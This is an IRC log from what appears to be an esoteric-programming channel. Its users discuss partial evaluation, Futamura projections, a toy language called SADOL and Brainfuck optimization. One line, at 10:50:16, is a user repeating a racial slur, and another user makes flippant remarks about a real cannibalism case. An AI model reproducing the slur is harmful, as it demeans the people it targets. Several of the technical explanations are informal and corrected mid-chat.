23:27:14 <ehird> nooga: that is not what I meant!
23:27:17 <ehird> WHAT is your question to me?
23:27:53 <ehird> oerjan: wait, I get it
23:27:59 <nooga> ehird: about wtf is that chapter about
23:28:03 <ehird> oerjan: we're asked: detect this function. we give it (const True).
23:28:06 <ehird> we pass that result on.
23:28:19 <nooga> what are those "mutable variables"
23:28:22 -!- Judofyr has quit (Remote closed the connection).
23:28:25 <ehird> nooga: variables you can change
23:28:30 <ehird> as opposed to invariable variables
23:28:51 <nooga> if domething is called a variable it's variable, right?
23:29:03 <ehird> a :: Integer; a = 2
23:29:07 <ehird> in haskell, that's (informally) a variable
23:29:10 <ehird> but you can't reassign it
23:29:13 <ehird> nooga: it's a relic of old names
23:29:18 <ehird> we made variables, then we made immutable variables
23:29:21 <ehird> and now they're commons
23:29:24 <ehird> so we say mutable variables
23:29:34 <ehird> immutable variables: just names for values
23:29:43 <ehird> mutable variables: names for changable state that contains values
23:30:33 <ehird> oerjan: but I'm not sure how wrapping it helps us decide about the function
23:30:38 <oerjan> nooga: an immutable variable, like in mathematics, doesn't vary in a _single_ use, it varies _between_ uses
23:31:03 <ehird> i mean, not only should mirror interrogate its argument; if we think we're being called by mirror (i.e., it's responding like we would), we should try and pass information it expects back
23:31:17 <ehird> don't say that, that's wrong
23:31:21 <ehird> that's not what it means in this context
23:31:24 <ehird> in fact I've never heard that
23:31:41 <ehird> no, it's just wrong
23:32:19 <nooga> i wonder if it's possible to use partial evaluation to generate all possible cases of type usage in a SADOL program
23:32:42 <nooga> to generate fast code that doesn't care about types in runtime
23:33:21 <oerjan> hm put it differently, it doesn't vary within its scope, but it can have a different value if you enter its scope again
23:33:37 <ehird> that's not what it means
23:34:06 <oerjan> ehird: in mathematics?
23:34:12 <ehird> i don't know about mathematics
23:34:14 <ehird> I am talking about programming
23:34:17 <ehird> and language design
23:34:22 <ehird> and the term is never meant as you say
23:34:25 -!- sebbu has joined.
23:34:28 <oerjan> programming borrowed the word from math
23:34:34 <nooga> now i moved my thoughts to partial evaluation
23:36:27 <ehird> nooga: why not write a sadol interp, and a specializer?
23:36:31 <ehird> that'd be so more futamura.
23:37:15 <nooga> probably harder than a compiler
23:37:36 <oerjan> i guess he gets that a lot
23:37:38 <nooga> and with llvm i can make something quite optimal
23:37:47 <ehird> nooga: do you know what a specializer is?
23:37:53 <ehird> it's (interpreter → compiler)
23:37:57 <ehird> so the specializer could make an LLVM compiler
23:37:58 <nooga> i've read that twisted paper
23:38:04 <ehird> yes, a bit harder, but fuck, a lot coole.
23:39:38 <nooga> porbably i'm too stupid to make it work
23:40:07 <nooga> probably* (destroy all mac keyboards)
23:40:39 <ehird> nooga: buy another keyboard, foo
23:40:43 <ehird> and it's an apple kb
23:40:51 <pikhq> Man, a specialiser would be cool. If tricky.
23:41:27 <ehird> they're crap, but they exist
23:41:31 -!- coppro has joined.
23:42:04 <nooga> i assume that the specialiser is a program that modifies the code of interpreter to obtain an instance of the interpreter suited for interpreting specific program
23:42:10 <nooga> and then the interpreter is compiled
23:42:17 <ehird> nooga: that's one of the projections, pretty much
23:42:19 <ehird> (but more detailed)
23:42:25 <ehird> nooga: but another projection, is you give it an interpreter
23:42:27 <nooga> and we've got relatively fast running program
23:42:30 <ehird> and it gives you a compiler (interpreter → program)
23:43:02 <ehird> nooga: http://blog.sigfpe.com/2009/05/three-projections-of-doctor-futamura.html read this, it'll get you psyched about futamura
23:43:14 <ehird> pikhq: huh, youtube hd is 720p
23:43:17 <ehird> i thought it was 540p
23:43:18 <nooga> i've read that once, at night
23:43:25 <nooga> and it was too much
23:44:36 <pikhq> ... There *are* specialisers?
23:44:39 <ehird> you know what's awesome? <video>
23:44:45 <ehird> pikhq: well, here's a trivial specializer:
23:44:54 <ehird> (\f x -> "(" ++ sourceOf f ++ ") " ++ x)
23:45:07 <ehird> there are ones that do optimization
23:45:31 <pikhq> So, they're just somewhat crappy, but whoo.
23:45:41 <pikhq> The future is promising.
23:46:07 <ehird> the Futamura Projections could be the plot for a good anime, I'm relatively certain of this
23:46:16 <ehird> (It's probably the name)
23:46:38 <ehird> nooga: btw partial evaluation ~= specialization
23:47:05 <nooga> what do you mean "compiler (interpreter → program)" ?
23:47:13 <ehird> I wrote that wrong
23:47:18 <ehird> nooga: let's start with some definitions
23:47:33 <ehird> program x = source to a program that, when run, produces a value of type x
23:47:39 <ehird> interpreter = program x -> x
23:47:59 <ehird> program lang x = source to a program written in language lang that, when run, produces a value of type x
23:48:09 <ehird> interpreter lang = program lang x -> x
23:48:19 <ehird> compiler lang targetLang = program lang x -> program targetLang x
23:48:25 <ehird> nooga: now, one of the Futamura Projections is:
23:48:32 <ehird> interpreter lang -> compiler lang targetLang
23:48:40 <ehird> interpreter lang -> program lang x -> program targetLang x
23:48:46 <ehird> (program lang x -> x) -> program lang x -> program targetLang x
23:49:01 <ehird> nooga: so, you give the specializer an interpreter
23:49:08 <ehird> and out pops a compiler - optimizing, is the whole point
23:50:12 <GregorR> System -> well-defined-but-impossible magic -> new, spectacular system.
23:51:03 <ehird> GregorR: Impossible?
23:51:10 -!- sebbu2 has quit (Connection timed out).
23:51:13 <ehird> GregorR uses PULL THINGS OUT OF ASS. It's super uneffective!
23:52:59 <nooga> maybe i'll start with something simpler than sadol
23:54:33 <pikhq> GregorR: Specialisers exist, they're just not very good, ehird says. ;)
23:55:44 <ehird> "Mr Meiwes spoke of how he felt ignored by his father, and longed for a good-looking younger brother[...]"
23:55:53 <ehird> Where [...] is defined as " - whom he would bind to himself forever by consuming."
23:58:56 <ehird> Since entering prison, Meiwes has become a vegetarian[4] and has joined a prisoners' group favoring Green Party politics.[5][6]
23:59:20 <nooga> that futurama thing melted my grey matter
23:59:29 <nooga> i can't think about building a specialiser
23:59:50 <ehird> nooga: also, first you have to invent a simple language to write the interpreter in
23:59:52 <ehird> then, write the interpreter
00:00:01 <ehird> then, write a specializer for that language
00:00:03 <ehird> (tuned to the interpreter)
00:00:16 <ehird> that way you don't have to deal with the foibles of regular languages
00:00:49 <pikhq> Then, crap out a specialiser. And an interpreter and compiler.
00:01:08 <pikhq> Crap out a compiler. And an interpreter and specialiser.
00:01:19 <ehird> pikhq: stop confusing him
00:01:53 <nooga> i've got language FOO and interpreter for it written in FOO and then i make something that takes interpreter of language FOO and a program in language FOO and i get a compiler for that program in FOO
00:02:57 <oerjan> um they _don't_ have to be all the same language, i think
00:03:14 <oerjan> otherwise it might indeed be somewhat ridiculous
00:03:22 <ehird> nooga: here's what you do:
00:03:29 <ehird> you've got a language foo and an interpreter for it written in bar
00:03:49 <ehird> then you take something that takes that a program in language foo and an argument to it
00:04:01 <ehird> and you get the result as an optimized program just doing that calculation
00:04:08 <ehird> that's the specializer
00:04:10 <ehird> so the compiler is
00:04:15 <ehird> specializer(interpreter,program)
00:04:59 <nooga> ehird: then you take something that takes that a program in language foo and an argument to it << where's the interpreter here?
00:05:19 <ehird> the specializer doesn't need an interpreter; it understands the language
00:05:26 <ehird> just like a compiler or an interpreter has innate knowledge of the language
00:05:29 <ehird> nooga: i wrote it wrong
00:05:39 <ehird> you've got a language foo and an interpreter for it written in bar
00:05:45 <ehird> then you make something that takes that a program in language bar and an argument to it (its input)
00:06:00 <ehird> and returns the result as an optimized program just doing that calculation with that input written in language baz
00:06:05 <ehird> that something is the specializer
00:06:09 <ehird> to make a compiler
00:06:16 <ehird> specializer(interpreter,program_to_compile)
00:06:25 <ehird> and it spits out a — hopefully fast — version of the "interpreter" mangled to just use that program
00:06:35 <ehird> — with branches eliminated, constants folded, loops unrolled based on the structure
00:06:39 <ehird> and whatnot, to make it an efficient output program
00:09:14 <pikhq> In other words, it has magically acted as a compiler.
00:09:31 <ehird> nooga: of course, specializers don't really have much literature on them — but you could write an okay one
00:09:35 <ehird> and it'd be fun to play with
00:09:41 <ehird> nooga: for your case, you'd haev
00:09:57 <ehird> bar=one you invent for this project; simple but usable
00:10:09 <ehird> nooga: and you can write the specializer in any language you feel comfortable with; c, ruby, etc.
00:10:48 <pikhq> Writing the specialiser in a language it understands would be amazing, of course, but you don't need to...
00:10:50 <nooga> s i am supposed to invent a language that could interpret sadol?
00:11:12 <ehird> make it simple with, preferably, lots of structural hints to utilize in the specialiser
00:11:30 <ehird> pikhq: that's the case in the theoretical examples
00:11:39 <ehird> pikhq: you do crazy shit like specializer(specializer,specializer)
00:11:45 <ehird> which is \x.specializer(specializer,x)
00:11:55 <ehird> which is \y.specializer(x,y)
00:12:00 <ehird> and that's something like a compiler-compiler
00:12:06 <pikhq> ehird: Yeah. That's crazy shit.
00:12:15 <ehird> but you only need one projection for this SADOL project
00:12:55 <ehird> http://www.google.com/squared/search?q=4chan+memes
00:12:59 <ehird> Protip: No value found.
00:13:46 <ehird> It's like Alpha without the alpha.
00:13:51 <ehird> Or the computation.
00:14:58 <oerjan> well if you have square, you have half of a specializer don't you? >:)
00:15:26 * oerjan didn't consider that a pun
00:15:46 <ehird> oerjan: what did you mean?
00:16:32 * oerjan notes this is the second time today someone laughed after not getting what he said...
00:17:05 <nooga> i'm too stupid for that specializer thingy
00:17:21 <oerjan> ehird: those specializers take two arguments don't they?
00:17:21 <ehird> nooga: just read it a few more times
00:17:25 <ehird> draw some diagrams methodically for it
00:17:26 <nooga> can't imagine how i would implement that in practice
00:17:29 <ehird> oerjan: assume f(x,y) = f x y
00:17:40 -!- olsner has quit (hubbard.freenode.net irc.freenode.net).
00:17:41 <ehird> for my specializer(specializer,specializer) example
00:18:00 <ehird> nooga: first, invent a simple language with a lot of structural hints (i.e. rich control structures and the like to express what the code is trying to do)
00:18:06 <ehird> then, write a SADOL interp in it
00:18:12 <ehird> and a simple, really-stupid interp for the language in anything
00:18:18 <oerjan> anyway (X, Y) is cartesian product, thus a square
00:18:19 <ehird> then, you can think about a specializer
00:18:42 * oerjan may change his opinion about it being a pun
00:19:14 <ehird> oerjan: also specializer(specializer,specializer) = specializer^3
00:19:19 <ehird> but I didn't realise at first
00:19:22 <nooga> ehird: and a simple, really-stupid interp for the language in anything << and that interp will magically turnn sadol programs into anything?
00:19:37 <ehird> stop thinking about specialization
00:19:56 <pikhq> The specialiser comes after the language and interpreter.
00:19:58 <ehird> nooga: but no thats not how a specializer works
00:20:03 <nooga> okay, so i need one language and 2 interpreters
00:20:08 <ehird> one interpreter, one specializer
00:20:13 <ehird> stop thinking about specializers until the interp
00:20:57 <nooga> todo for now: invent a language, implement that language, write a sadol interpreter in that language
00:21:40 <ehird> nooga: s/language/language with lots of structural hints/
00:21:42 <pikhq> Strictly speaking don't need to implement aforementioned language, but it'd probably help. A lot.
00:21:43 <ehird> very important :-P
00:21:47 <ehird> but it helps the specializer later
00:21:55 <ehird> well you have to implement it
00:22:06 <ehird> compiler != interpreter != specializer
00:22:08 <ehird> but all are implementations
00:22:25 <nooga> so i need to write another interpreter for (language with lots of structural hints)
00:22:34 <coppro> Why does banker's rounding exist?
00:22:34 <pikhq> ehird: Well, y'know what I mean. :p
00:22:36 <nooga> in ruby for instance
00:22:44 <ehird> nooga: here's your todo:
00:23:14 <ehird> invent a simple language with some structural hints, implement an interpreter for that language, write a sadol interpreter in that language, utilizing the control hints as much as possible (if you can't use many, add some more)
00:23:32 <ehird> coppro: it's flatter, statistically
00:23:47 <ehird> coppro: so's your mom
00:24:05 <oerjan> coppro: http://en.wikipedia.org/wiki/Rounding#Round-to-even_method
00:24:06 <coppro> making [1.5,2.5] round to 2 and (2.5,3.5) round to 3, etc. does not improve distribution
00:24:22 <nooga> ehird: interpreter for that simple language can be written in ruby?
00:24:28 <ehird> nooga: sure; anything
00:24:32 <ehird> nooga: it won't be used for the specializer
00:24:37 <ehird> it's just to get you something that works, for testing, etc
00:24:39 <nooga> i won't need to process ruby code
00:25:24 <nooga> i'll replace sadol with something simpler
00:25:36 <ehird> but this saves you writing a sadol compiler
00:25:59 <pikhq> nooga: Brainfuck. :p
00:26:03 <ehird> the nice thing is that this language doesn't need to do much more than interpreter stuff
00:26:12 <ehird> you can skimp on everything but structural stuff, a rich control structure set, string handling and a bit else
00:26:16 <nooga> ehird: but the compiler will compile sadol to what?
00:26:18 <pikhq> Or maybe just straight lambda expressions.
00:26:30 <ehird> nooga: nothing; there is no compiler
00:26:31 <ehird> just specializations
00:26:36 <nooga> to something that's interpretable by my interpretter written in ruby
00:26:44 <pikhq> nooga: You won't make a compiler. You will use the specialiser as a compiler.
00:26:49 <nooga> i'd like sadol->MACHINE CODE!!!!!!1111111
00:26:50 <ehird> nooga: remember when i said stop thinking about a specializer because it's muddling your mind?
00:26:58 <ehird> nooga: it will do sadol→LLVM in the end
00:27:05 <ehird> but stop thinking about it, it doesn't matter atm
00:35:43 -!- oerjan has quit ("Good night").
00:38:14 <nooga> the hard thing is to design the language
00:38:33 <nooga> i started doing that and i came up with something that looks like sadol pretty much :D
00:39:19 <ehird> nooga: sadol doesn't have many structural hints
00:39:27 <ehird> nooga: I know this because you keep talking about inferring and partially evaluating and the like
00:40:45 * pikhq wants to see a Brainfuck specialiser. :p
00:40:53 -!- olsner has joined.
00:40:55 <pikhq> Useless? Well... Yes...
00:40:57 <nooga> i've added formal types
00:41:41 <nooga> i need: loops, stacks (or recursive functions), arrays, if-else, types (char, int, float) and IO
00:43:01 <pikhq> Actually, a Brainfuck specialiser might not be too hard to do. Hmm.
00:43:31 <ehird> pikhq: rather trivial; you only have one input stream
00:43:37 <ehird> pikhq: and you just have to evaluate it for a while
00:43:53 <pikhq> Yeah, actually, it wouldn't be tricky, come to think of it.
00:43:58 <ehird> pikhq: offset start of tape, change , to (move to correct tape length)
00:44:04 <ehird> put initialization of input at start of program
00:45:26 <pikhq> And you could use that for the first projection.
00:46:13 <ehird> nooga: stack based, incidentally, is terrible for this kind of thing
00:46:25 <ehird> as it has very little structural information even about what goes to which function!
00:46:45 <Patashu> and what the function actually does
00:46:47 <nooga> sadol is not stack based
00:46:50 <Patashu> can be changed depending on the state of the stack
00:46:59 <ehird> pikhq: the only difficult part about doing this in bf would be changing the ,s
00:47:06 <ehird> and even that would be quite easy, pikhq, EXCEPT
00:47:16 <nooga> Patashu: consider it as a retarded lisp without ( )
00:48:06 <nooga> !sadol :a3 :b2 :o"1* !`+o+a+"1 b
00:48:09 <pikhq> ehird: Varfuck, then? ;)
00:48:19 <ehird> pikhq: but the whole idea is using esotope to eliminate the cruft
00:48:26 <ehird> although esotope would have to be bf→bf to take true advantage
00:48:32 <ehird> just write a bf backend
00:48:41 <pikhq> Not hard to do at all.
00:54:46 <pikhq> Now, a Brainfuck->Brainfuck specialiser in Brainfuck... That'd be a tour de force. :p
00:55:05 <ehird> pikhq: compile esotope to BF
00:55:11 <pikhq> s/tour de force/$EXPRESSION_INDICATING_AWESOME/
00:55:17 <ehird> yes, it'd be slow; so use your specializer
00:55:48 * pikhq has something to hack on
00:56:10 <ehird> pikhq: yeah, I'm tempted now
00:56:19 <ehird> pikhq: might work with something a little more featureful though?
00:56:22 <ehird> variables would help immensely.
01:07:00 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 , Googletalk = Patashu0@gmail.com .").
01:14:33 -!- inurinternet has quit (No route to host).
01:43:50 <nooga> http://pastie.org/499863
01:44:04 <nooga> i'm sure it can be done shorter
01:47:17 <nooga> !sadbf +++++++++[>+++++++++++++<-]>-.
01:47:20 <nooga> !sadbf +++++++++[>+++++++++++++<-]>-...
01:47:36 <nooga> looks like it works
01:49:47 <EgoBot> 126 ++++++++++[>+++++++>++++++++++>++++>+<<<<-]>++.>+.+++++++..+++.>++++.------------.<++++++++.--------.+++.------.--------.>+.>. [158]
01:51:21 <GregorR> !sadbf ++++++++++[>+++++++>++++++++++>++++>+<<<<-]>++.>+.+++++++..+++.>++++.------------.<++++++++.--------.+++.------.--------.>+.>.
01:52:22 <nooga> i forgot to change mem length
01:52:30 <nooga> it's only 10 cells
01:53:07 <nooga> does !addinterp overwrite?
01:53:33 * GregorR is trying to figure out how to build a croquet mallet out of PVC pipe and mortar.
01:54:09 <GregorR> I can't find the weight per cubic whatever of mortar ...
01:54:51 <nooga> how to update interp in EgoBot
01:55:20 <GregorR> A real interp or a userinterp?
01:56:10 <nooga> !sadbf ++++++++++[>+++++++>++++++++++>++++>+<<<<-]>++.>+.+++++++..+++.>++++.------------.<++++++++.--------.+++.------.--------.>+.>.
02:01:53 <nooga> !sadbf >+++++++++[<++++++>-]<...>++++++++++.
02:07:40 <nooga> :M$0 :d:i,45000@>i-01(2]M0:i-i1:S$0:C;3:l#C-01:p:m0@<pl(2?=#Cp"1+:#Mm%+#Mm1,3255?=#Cp"1-:#Mm?<-#Mm10,3254-#Mm1?=#Cp"1>:m%+m1d?=#Cp"1<:m?<-m10-s1-m1?=#Cp"1.!'2#Mm?=#Cp"1,:#Mm'1;0?=#Cp"1[]S-p1?=#Cp"1]?=#Mm00:p[S0:p+p1
02:07:52 <nooga> SADOL isn't very innovative and well designed
02:08:00 <nooga> but the code looks ugly for sure
02:26:35 <nooga> ehird: SADOL is parsed to neat AST and has really simple flow control, with strict typing it would be easy to mangle and specialize
02:34:22 -!- bsmntbombdood_ has joined.
03:00:40 -!- Corun has joined.
03:07:52 -!- boily has joined.
03:10:53 -!- bsmntbombdood_ has quit (Read error: 110 (Connection timed out)).
03:11:37 -!- bsmntbombdood_ has joined.
03:12:53 <pikhq> Hahah. I just discovered a partial evaluator for Tcl.
03:15:09 <pikhq> Not very good, mind.
03:23:15 -!- boily has quit ("leaving").
03:31:35 -!- bsmntbombdood_ has quit (Read error: 110 (Connection timed out)).
03:43:50 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
03:46:18 -!- bsmntbombdood_ has joined.
04:04:11 -!- Corun has quit ("Leaving...").
04:05:09 -!- nooga has quit (Remote closed the connection).
04:29:55 -!- bsmntbombdood_ has quit (Connection timed out).
04:31:02 -!- bsmntbombdood_ has joined.
04:34:57 -!- coppro has quit (Read error: 104 (Connection reset by peer)).
04:50:34 -!- amca has joined.
05:10:16 -!- bsmntbombdood_ has quit (Read error: 110 (Connection timed out)).
05:33:23 -!- Patashu has joined.
06:03:48 -!- bootscats has joined.
06:05:07 -!- bootscats has left (?).
06:21:43 -!- kar8nga has joined.
06:33:39 -!- Gracenotes has joined.
06:39:02 -!- bsmntbombdood has joined.
07:22:42 -!- kar8nga has quit (Remote closed the connection).
07:25:59 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
07:57:18 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:17:58 -!- bsmntbombdood__ has joined.
08:19:00 -!- bsmntbombdood__ has changed nick to bsmntbombdood.
08:32:38 -!- bsmntbombdood has quit (Read error: 60 (Operation timed out)).
08:54:23 -!- Slereah has joined.
10:47:51 -!- nooga has joined.
10:50:16 <nooga> nigger nigger nigger nigger nigger
10:51:31 <nooga> Poland, we've got tlds like perl script extensions :D
10:56:39 <Slereah> YOU FORGOT POLAND DERP DERP
11:06:55 -!- nooga has quit (Read error: 54 (Connection reset by peer)).
11:27:44 <AnMaster> hm... does anyone know a way to tell google you actually want a misspelling? When I'm googling for something that is almost the same spelling as a common word, apart from one letter it seems to return both what I wanted and results matching the common word instead...
11:28:13 <fizzie> Adding quotes around the word (even if it's just one word) seems to sometimes help, but maybe not always.
11:30:36 -!- oerjan has joined.
11:31:31 * oerjan sees AnMaster and hurries to IWC
11:31:43 <AnMaster> oerjan, wow, I just did the same when I saw you
11:45:17 -!- KingOfKarlsruhe has joined.
11:47:00 -!- GregorR-L has joined.
11:51:21 <oerjan> try #haskell next door
12:10:19 -!- GregorR-L has quit (Read error: 60 (Operation timed out)).
12:37:24 -!- Sgeo has joined.
12:37:57 <Slereah> Where does the zombie-brain thing come from anyway?
12:38:11 <Slereah> What pulp piece of shit started that trop
12:40:34 -!- puzzlet has quit (Read error: 60 (Operation timed out)).
12:40:50 -!- puzzlet has joined.
12:41:05 <oerjan> Slereah: http://en.wikipedia.org/wiki/Return_of_the_Living_Dead
12:42:00 <Slereah> "Return's interpretation of zombies has influenced cultural interpretations of zombies, particularly with regard to their hunger for brains and their constant vocalization of this hunger."
12:47:38 -!- puzzlet has quit (Remote closed the connection).
12:47:49 -!- puzzlet has joined.
12:48:47 -!- Corun has joined.
12:54:46 -!- amca has quit ("Farewell").
12:58:08 -!- puzzlet has quit (Read error: 60 (Operation timed out)).
12:58:21 -!- puzzlet has joined.
13:00:45 -!- bsmntbombdood has joined.
13:13:20 -!- Corun has changed nick to Corun|away.
13:22:19 -!- Corun|away has changed nick to Corun.
13:25:55 -!- ais523 has joined.
13:31:31 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
13:33:29 -!- nooga has joined.
13:38:05 -!- Judofyr has joined.
13:39:33 -!- oerjan has quit ("leaving").
13:45:36 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 , Googletalk = Patashu0@gmail.com .").
14:16:55 * ais523 wonders how defend7 can /still/ be third on the BF Joust leaderboard, after all this time...
14:17:07 <AnMaster> ais523, I'm running on that hello world again to see how much better it is now. Btw to be able to process it I have to do ulimit -v $((512 * 1024)) first... Otherwise it will swap trash (the ulimit ends up forcing erlang's GC to run more often...)
14:17:28 <ais523> I love the idea of swap-trashing when you try to compile hello world
14:18:31 <AnMaster> ais523, I think it happens when it changes all those initial adds to create the "every third cell" pattern from adds to sets...
14:19:00 <ais523> gcc-bf swap-trashes when trying to remove the run-length encoding from that bit, I think
14:19:05 <ais523> which is why I have to output in RLE
14:19:12 -!- KingOfKarlsruhe has quit (Remote closed the connection).
14:19:46 <AnMaster> ais523, well I don't. Once I saw that I decided to parse it directly as combined nodes. Instead of first expanding it then combining it again in the combiner pass.
14:20:17 <AnMaster> generated file size is now 928K
14:20:33 <ais523> the triumph of #esoteric engineering: getting hello world to less than a megabyte
14:21:04 <AnMaster> ais523, depends on WHAT hello world :P
14:21:18 <ais523> you're ruining the joke!
14:21:22 <AnMaster> those generated by !bf_txtgen and such I can constant fold of course
14:21:40 * AnMaster wonders what on earth that is for
14:21:51 <ais523> AnMaster: probably saving registers on the stack
14:22:03 <ais523> that wouldn't be the saving itself
14:22:08 <ais523> but the deallocation of stack elements once it was done
14:22:19 <ais523> so actually, that's restoring, not saving
14:22:24 <AnMaster> huh. I just can't see how that would deallocate anything
14:22:55 <ais523> and stack storage is marked as allocated or not via a flag stored in every sixth tape element
14:23:10 <ais523> which also doubles up as stack pointer and a stack of frame pointers
14:23:12 <ais523> just to complicate things
14:24:34 <AnMaster> ais523, well I can't yet figure out how much a [>>>] will move or such. I have some ideas about how you could do it for some cases. But most programs won't gain much from it. Not even lostkingdom. And GCC-BF code is not really a priority for me, since I can't download gcc-bf myself currently.
14:25:05 <ais523> AnMaster: it's the only really sane way to implement pointers in Brainfuck
14:25:29 <fizzie> "really sane way" for some values of sane, surely.
14:25:31 <AnMaster> ais523, interestingly enough, that hello world doesn't have a lot of balanced loops that can be folded into polynomials it seems
14:25:57 <AnMaster> like [>++>+++<<-] into p[1]=2*p[0]; p[2]=3*p[0];p[0]=0;
14:25:58 <ais523> why would you expect it to?
14:26:07 <ais523> polynomials aren't a particularly good way to implement things
14:26:09 <AnMaster> ais523, well, lostking has a lot of them
14:26:13 <ais523> there are polynomials, but they go /sideways/
14:26:24 <ais523> as in, moving values along the tape a specified, variable, distance
14:26:41 <AnMaster> ais523, variable distance.... How do you encode it
14:26:41 <ais523> most values are more than 8-bit in C
14:26:47 <ais523> and I encode it as separate bytes
14:26:56 <AnMaster> I mean, some way to detect such loops and figure them out
14:27:20 <ais523> AnMaster: do you still have gcc-bf source from last time I pasted it?
14:30:29 <AnMaster> ais523, hm I guess this could be optimised quite a bit: http://pastebin.ca/1447552 but I don't really know how to detect that in a program...
14:30:55 <AnMaster> somehow that needs an else for the if
14:31:59 <ais523> I wonder what my 32-bit addition code looks like when compiled to C?
14:32:09 <ais523> for all I know, that might be it
14:32:13 <ais523> although I think it's a bit longer than that
14:32:23 <AnMaster> ais523, that is just a short section
14:33:17 <AnMaster> [.>] would be "output nul-terminated string" wouldn't it? Assuming current cell is known to be non-zero. Otherwise same but in a "if".
14:33:35 <AnMaster> that could possibly be optimised somehow...
14:34:19 -!- Corun has quit ("Leaving...").
14:36:42 <Slereah> Can you do an arc with the picture package of latex?
14:37:35 <Slereah> Owait, they have a "marking angles"
14:38:59 <AnMaster> ais523, when looking at the generated output my conclusion is that there are many ways to optimise it, but most of them are hard with my current design.
14:39:15 <ais523> AnMaster: perhaps I should send you the annotated output?
14:39:35 <ais523> bfrle (my BF interp designed specifically for debugging gcc-bf) can read special notations in comments to check that the program's behaving as intended
14:39:42 <ais523> it specifies the tape location the pointer's meant to be at
14:39:44 <AnMaster> oh and is "(%999999999 Assertion error)" for
14:39:55 <ais523> yep, it's an assertion that can't be met
14:40:09 <ais523> so when running under BFRLE, the program would crash with an error at that point
14:40:13 <ais523> meaning that I'd made a mistake in my code
14:41:19 -!- Corun has joined.
14:41:21 <AnMaster> annotated output could be useful yes. But in general it is hard to map source to output for non-trivial files. Even if I did try to store some position info it wouldn't help a lot as the the code has been resorted a lot and so on.
14:41:38 <AnMaster> "sorting by offset" is one of the key passes really.
14:41:41 <ais523> well, knowing where the pointer is is very useful in optimising
14:41:58 <ais523> although it's rather hard to prove that the annotations aren't lying
14:42:14 <AnMaster> yes sure. But I can't do any optimisations that won't work for normal BF...
14:42:18 <ais523> without knowing the basic rules for a gcc-bf tape (every sixth space does the same thing, etc)
14:42:38 <AnMaster> I can do the special parsing sure in a module
14:42:39 <ais523> so I think a really really hyperoptimising BF compiler would deduce the tape structure used by the program
14:42:56 <ais523> most BF programs, after all, reserve, say, every second tape cell as temp, or something like that
14:43:08 <ais523> a compiler that could figure out that the program was doing that could optimise much better than any that didn't
14:43:24 <fizzie> Are you trying to make [AnMaster's bf-optimizer generating C code](gcc-bf(X)) an identity transformation?
14:43:25 <AnMaster> ais523, that is very hard to do in general. Correct results is most important. Otherwise I would end up somewhat like G++, where program behaviour often change depending on if -O0 or -O2 is used...
14:43:43 -!- Corun has quit (Client Quit).
14:44:11 <ais523> fizzie: that would be ideal, but probably impossible
14:44:15 -!- Corun has joined.
14:44:23 <ais523> although idioms for, say, 32-bit addition, might be recognisable
14:44:32 <AnMaster> ais523, I suspect (but don't know) that figuring out and proving the "reserved cells" bit is in general not computable...
14:44:47 <AnMaster> ais523, yes they might be. If I knew them
14:44:50 -!- fungebob has joined.
14:45:00 <ais523> incidentally, Europeans here, have you remembered to vote in the elections?
14:45:23 -!- Corun has quit (Client Quit).
14:45:26 -!- bsmntbombdood has joined.
14:45:37 <ais523> (they are today across Europe, I assume?)
14:45:39 <AnMaster> Idioms I special case (and variants of them of course): [-] [>] [>+>+<<-]
14:45:51 <AnMaster> ais523, can't you "pre-vote" in US? Or whatever they call it
14:45:58 <ais523> the first is mov, the third is tadd2
14:46:04 <ais523> so they're ABI instructions
14:46:18 <ais523> AnMaster: ABI = gcc-bf's intermediate format
14:46:31 <ais523> two of the three idioms you mentioned appear in the asm
14:46:44 <ais523> yes, with a constant 0
14:46:57 <ais523> mov only does constants in gcc-bf
14:47:04 <ais523> you have to use transfer-addition to copy variables
14:47:08 <AnMaster> ais523, ah.. my compiler calls < and > mov
14:47:30 <ais523> AnMaster: but ABI == asm
14:47:34 <ais523> or at least, it's designed to look like it
14:47:40 <ais523> because gcc expects to output in asm
14:47:45 <fizzie> Er. Our election-days are next Saturday and Sunday.
14:47:57 <ais523> fizzie: elections are on the weekends for you?
14:48:05 <ais523> they're always on Thursdays in the UK
14:48:14 <fizzie> 6th and 7th were also the days in Italy, if I understood the TV programming right.
14:48:22 <AnMaster> +- = add <> = mov [ = loop , = in . = out
14:48:32 <AnMaster> ] never shows up after the parsing.
14:48:59 <AnMaster> ais523, anyway you said you were going to paste an annotated version
14:49:13 <ais523> and I'd better not from this connection
14:49:19 <ais523> because large uploads tend to fail mysteriously
14:49:27 <ais523> and yes, it's slightly larger than the non-annotated version
14:49:30 <ais523> due to having annotations in
14:49:36 <fizzie> "The European Parliament elections began on Thursday in Britain and the Netherlands -- Irish people -- would vote on Friday. In Italy and the Czech Republic the voting process will continue from Friday to Sunday. Elections will begin Saturday in Latvia, Cyprus, Malta, and Slovakia, while in all the remaining 18 EU members the elections will take place on Sunday."
14:50:02 <AnMaster> ais523, anyway [>] [>>] and so on are "seek" for me.
14:50:07 <ais523> so why did AnMaster say he'd already voted?
14:50:08 <AnMaster> and gcc-bf contains quite a lot of them
14:50:22 <AnMaster> ais523, "pre-vote". Can't you do it there? I don't know if that is the right English word
14:50:29 <ais523> AnMaster: they have postal votes
14:50:47 <ais523> but many people don't trust them, parties are accused of rigging them every now and then
14:50:56 <fizzie> We've usually done the pre-voting thing (in the local post office) but now we were in Italy for the pre-voting day. So next Sunday it is.
14:50:58 <AnMaster> ais523, well, here they aren't at the post offices.
14:51:06 <ais523> they're done via the postal service
14:51:07 <AnMaster> the one I went to was at the local library.
14:51:28 <ais523> the idea is that they're for people who are too ill/old/in a completely different part of the country to go to a polling station
14:51:38 <ais523> you get a ballot paper sent to you by post, and send it back by post
14:51:46 <AnMaster> it doesn't work like that here
14:51:55 <ais523> well, there are several problems with the UK way of doing it
14:52:02 <ais523> it defeats the point of secret ballots, for one thing
14:52:07 <ais523> if there are any non-secret ways to vote
14:52:30 <AnMaster> ais523, anyway gcc-bf *does* contains lots of the [>] idiom
14:52:40 <ais523> [>] would be incredibly unusual
14:52:52 <AnMaster> ais523, or variants. Like [>>>]
